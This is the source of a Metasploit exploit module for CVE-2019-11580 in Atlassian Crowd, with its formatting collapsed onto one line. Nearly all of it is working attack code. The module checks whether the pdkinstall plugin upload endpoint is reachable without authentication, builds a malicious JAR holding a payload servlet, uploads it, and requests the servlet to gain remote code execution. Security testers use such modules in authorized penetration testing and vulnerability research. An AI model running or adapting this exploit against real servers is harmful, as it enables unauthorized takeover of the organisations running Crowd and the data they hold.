## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE', 'Description' => %q{ This module can be used to upload a plugin on Atlassian Cloud via the pdkinstall development plugin as an unauthenticated attacker. The payload is uploaded as a JAR archive containing a servlet using a POST request to /crowd/admin/uploadplugin.action. The check command will check that the /crowd/admin/uploadplugin.action page exists and that it responds appropriately to determine if the target is vulnerable or not. }, 'Author' => [ 'Paul', # Vulnerability discovery 'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter. 'Grant Willcox' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-11580'], ['URL', 'https://jira.atlassian.com/browse/CWD-5388'], ['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'], ['URL', 'https://www.corben.io/atlassian-crowd-rce/'] ], 'Platform' => %w[java], 'Arch' => ARCH_JAVA, 'DefaultOptions' => { 'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out. }, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ] ], 'DisclosureDate' => '2019-05-22' ) ) register_options( [ Opt::RPORT(8095), OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']), ] ) end def upload_plugin(content) data = Rex::MIME::Message.new data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'), 'method' => 'POST', 'data' => data.to_s, 'ctype' => "multipart/mixed; boundary=#{data.bound}" }, datastore['HttpClientTimeout']) end def generate_plugin_jar name = Rex::Text.rand_text_alpha(8..12) servlet_name = Rex::Text.rand_text_alpha(8..12) atlassian_plugin_xml = %( true 1.0.0 /#{name} #{Faker::App.name} ) # Generates .jar file for upload zip = payload.encoded_jar zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml) servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') zip.add_file('/metasploit/PayloadServlet.class', servlet) contents = zip.pack [contents, name] end def check print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...') res = upload_plugin(Rex::Text.rand_text_alpha(45..120)) if res.nil? CheckCode::Unknown('Was not able to connect to the target!') elsif (res.body =~ /Unable to install plugin/) && (res.code == 400) CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!") else CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!") end end def exploit print_status('Generating a malicious JAR plugin...') content, plugin_name = generate_plugin_jar print_status('Uploading the malicious JAR plugin...') upload_plugin(content) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"), 'method' => 'GET' }, datastore['HttpClientTimeout']) end end